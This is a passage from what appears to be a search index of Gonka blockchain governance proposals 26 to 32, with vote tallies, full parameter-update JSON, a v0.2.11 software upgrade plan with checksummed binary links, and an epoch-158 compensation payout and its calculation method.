"}, {"location": "proposals/proposals/2026-q1/28/#final-tally", "title": "Final Tally", "text": "Yes 314,460 (96.5%) No 11,504 (3.5%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 325,964 votes"}, {"location": "proposals/proposals/2026-q1/28/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"480\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": {\n \"value\": \"262\",\n \"exponent\": -3\n },\n \"model_params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": {\n \"value\": \"1\",\n \"exponent\": 1\n },\n \"multiple_of\": 8192,\n \"norm_eps\": {\n \"value\": \"1\",\n \"exponent\": -5\n },\n \"rope_theta\": 10000,\n \"use_scaled_rope\": false,\n \"seq_len\": 256,\n \"r_target\": {\n \"value\": \"1398077\",\n \"exponent\": -6\n }\n },\n \"model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"seq_len\": \"1024\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"5\",\n \"exponent\": -3\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -4\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"32\",\n \"exponent\": 6\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nRejected
Proposal ID: 29
Type: Update Params
Submit: 2026-02-19 16:03 UTC
Voting: 2026-02-19 16:03 UTC → 2026-02-20 16:03 UTC
Proposer: gonka148zyn5m8vjw5wvzr5yg37cdml64z668rav5j5m
Metadata: https://github.com/gonka-ai/gonka/blob/main/proposals/governance-artifacts/param-update-2025-02/README.md
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
Remove TransferAgent allowlist restrictions (empty list = all TAs allowed) and increase per-token pricing 100x (min 100, base 10000 ngonka) to reduce spam.
"}, {"location": "proposals/proposals/2026-q1/29/#final-tally", "title": "Final Tally", "text": "Yes 7,314 (2.9%) No 0 (0.0%) Veto 243,060 (97.1%) Abstain 0 (0.0%) Total 250,374 votes"}, {"location": "proposals/proposals/2026-q1/29/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": {\n \"value\": \"3593\",\n \"exponent\": -4\n },\n \"model_params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": {\n \"value\": \"1\",\n \"exponent\": 1\n },\n \"multiple_of\": 8192,\n \"norm_eps\": {\n \"value\": \"1\",\n \"exponent\": -5\n },\n \"rope_theta\": 10000,\n \"use_scaled_rope\": false,\n \"seq_len\": 256,\n \"r_target\": {\n \"value\": \"1398077\",\n \"exponent\": -6\n }\n },\n \"model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"seq_len\": \"1024\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"100\",\n \"base_per_token_price\": \"10000\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"0\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": []\n },\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nRejected
Proposal ID: 30
Type: —
Submit: 2026-03-09 02:33 UTC
Voting: 2026-03-09 02:37 UTC → 2026-03-10 02:37 UTC
Proposer: gonka1awyggfq4e32d4y66ttq3hyud7dyrr0ajf8af0w
Metadata: Test proposal for governance UI
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
Testing governance voting from the wallet app.
"}, {"location": "proposals/proposals/2026-q1/30/#final-tally", "title": "Final Tally", "text": "Yes 0 (0.0%) No 47 (100.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 47 votes"}, {"location": "proposals/proposals/2026-q1/30/#messages", "title": "Messages", "text": "# Type Contract Details[]\nPassed
Proposal ID: 31
Type: Software Upgrade
Submit: 2026-03-19 05:59 UTC
Voting: 2026-03-19 05:59 UTC → 2026-03-20 05:59 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/74f5ff859dd6d83eb8c2576b55c76fa41e669341/proposals/governance-artifacts/update-v0.2.11/README.md
View on gonka.gg
Upgrade Proposal: v0.2.11
"}, {"location": "proposals/proposals/2026-q1/31/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q1/31/#upgrade-proposal-v0211", "title": "Upgrade Proposal: v0.2.11", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.11. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
It also updates CosmWasm contract artifacts for the community sale and liquidity pool, adds bridge/testnet operational scripts for IBC trading support, and introduces a new subnet/ package used by the new inference architecture.
The on-chain upgrade from version v0.2.10 to v0.2.11 has been successfully deployed and verified on the testnet. No regression in core functionality or performance has been observed during testing. More testing will be executed leading up to the upgrade.
Reviewers are encouraged to request access to testnet environments to validate both node behavior and the on-chain upgrade process, or to replay the upgrade on private testnets.
"}, {"location": "proposals/proposals/2026-q1/31/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migrations: - Sets ValidationParams.ClaimValidationEnabled = false. - Rebuilds active participant caches for the current and previous epoch. - Migrates epoch-group validations into the new entry-based format. - Community-sale CosmWasm contract migration.
proposals/inference/.MsgStartInference and MsgFinishInference./cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.11\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"3186100\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.11/inferenced-amd64.zip?checksum=sha256:c77528bd2e31e86355a6eefddb50e0db7f9600ebf2940ca440a61ea36e7ef7ca\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.11/decentralized-api-amd64.zip?checksum=sha256:e574c3d86189daf325cc7008603ee8e952efb028afda5bcd4a154dcd334192d4\\\"\\n },\\n \\\"community_sale_address\\\": \\\"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\\\",\\n \\\"new_code_id\\\": 84\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.11. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
It also updates CosmWasm contract artifacts for the community sale and liquidity pool, adds bridge/testnet operational scripts for IBC trading support, and introduces a new subnet/ package used by the new inference architecture.
The on-chain upgrade from version v0.2.10 to v0.2.11 has been successfully deployed and verified on the testnet. No regression in core functionality or performance has been observed during testing. More testing will be executed leading up to the upgrade.
Reviewers are encouraged to request access to testnet environments to validate both node behavior and the on-chain upgrade process, or to replay the upgrade on private testnets.
"}, {"location": "proposals/proposals/2026-q1/31/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migrations: - Sets ValidationParams.ClaimValidationEnabled = false. - Rebuilds active participant caches for the current and previous epoch. - Migrates epoch-group validations into the new entry-based format. - Community-sale CosmWasm contract migration.
proposals/inference/.MsgStartInference and MsgFinishInference.Passed
Proposal ID: 32
Type: Batch Transfer With Vesting, Community Pool Spend
Submit: 2026-03-23 17:30 UTC
Voting: 2026-03-23 17:30 UTC → 2026-03-24 17:30 UTC
Proposer: gonka100s7x2t0npruu9ta02306qfmaened3vg3a9dn6
Metadata: https://github.com/huxuxuya/epoch158/blob/main/SIMPLE_COIN_AMOUNT_LOGIC.md
500 GNK · Community Pool · 30,038 GNK · Gov ModuleView on gonka.gg
Distribute compensation proportional to epoch 158 lost preserved weights. Implemented as one MsgBatchTransferWithVesting.
"}, {"location": "proposals/proposals/2026-q1/32/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q1/32/#simple-coin-amount-explanation-epoch-158", "title": "Simple Coin Amount Explanation (Epoch 158)", "text": "For epoch 158, we first take the total amount distributed by the reward simulation for that epoch: 252,286,759,171,835 ngonka. Then we divide it by the total non-preserved (confirmation) weight used for epoch 158: 4,981,565. This gives a single conversion rate: 50,644,076.544586889446 ngonka per 1 weight unit. In simple terms, this is the average value of one weight unit in epoch 158.
After that, we calculate lost preserved weight for each participant. We restore historical preserved weight from the chain snapshot at block 2,443,438 (the effective block of epoch 158), and compare it to the preserved weight of epoch 158 in current-state epoch data (after reset). If historical value is higher, the difference is the lost preserved weight; otherwise loss is zero. Compensation is computed as this lost preserved weight multiplied by the single per-weight rate, then rounded to whole ngonka.
Example: if lost preserved weight is 4,663, then 4,663 × 50,644,076.544586889446 = 236,153,328,927.39..., so final compensation is 236,153,328,927 ngonka (236.153328927 GNK). If lost preserved weight is zero, compensation is zero.
Finally, after all participant compensations are calculated, an additional fixed payment of 500 GNK is added to the proposal author.
Also, MsgBatchTransferWithVesting has a minimum payout of 10 GNK. Because of that, all payouts below this threshold in epoch_158_compensation_proposal_batch_vesting.json were raised to 10,000,000,000 ngonka after the chain rejected smaller amounts.
Generated governance proposal JSON: https://github.com/huxuxuya/epoch158/blob/main/artifacts/epoch_158/epoch_158_compensation_proposal.json
"}, {"location": "proposals/proposals/2026-q1/32/#final-tally", "title": "Final Tally", "text": "Yes 501,114 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 501,114 votes"}, {"location": "proposals/proposals/2026-q1/32/#messages", "title": "Messages", "text": "# Type 1/inference.streamvesting.MsgBatchTransferWithVesting 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka10000627dkz6nvmf09ctqy073v0fls696uznwgg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"236153328927\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100009u7hegukxy5ne3w6ycfleaj7uuvh2juxqd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"181761590719\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10003spukrualhl3h80k9x5m9vrmvlmp8kf4t4w\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"217718885065\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10008pmwrke48xh42dhe0ul0mm0mhhvz6ta9srs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"244307025251\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000937gjpju4udj2wlj3yld0lcw024tp0ztqew\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"228860581905\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000hqfkcp3cs0fq4r78vvpkjlv5n4x4sdgcv7v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"282391370813\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000rv0ddp9yk6djr4y29mt0gu3m4p8mg4kmjcv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"146158804908\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000xjetteyu7gy726vnhdxq69y3meq04gvnk4d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"187129862832\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000xmydnfvphwy4n5yww4ex6nwk9mqslf2gnhs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"185104099770\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000zfcrzdjwwucvs9k2wuy4j5ecj69q5f4v57h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"209767765048\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100k8hr43z5vp0fnyc94m7lum6mj4st6vksxz8s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"234380786248\"\n }\n 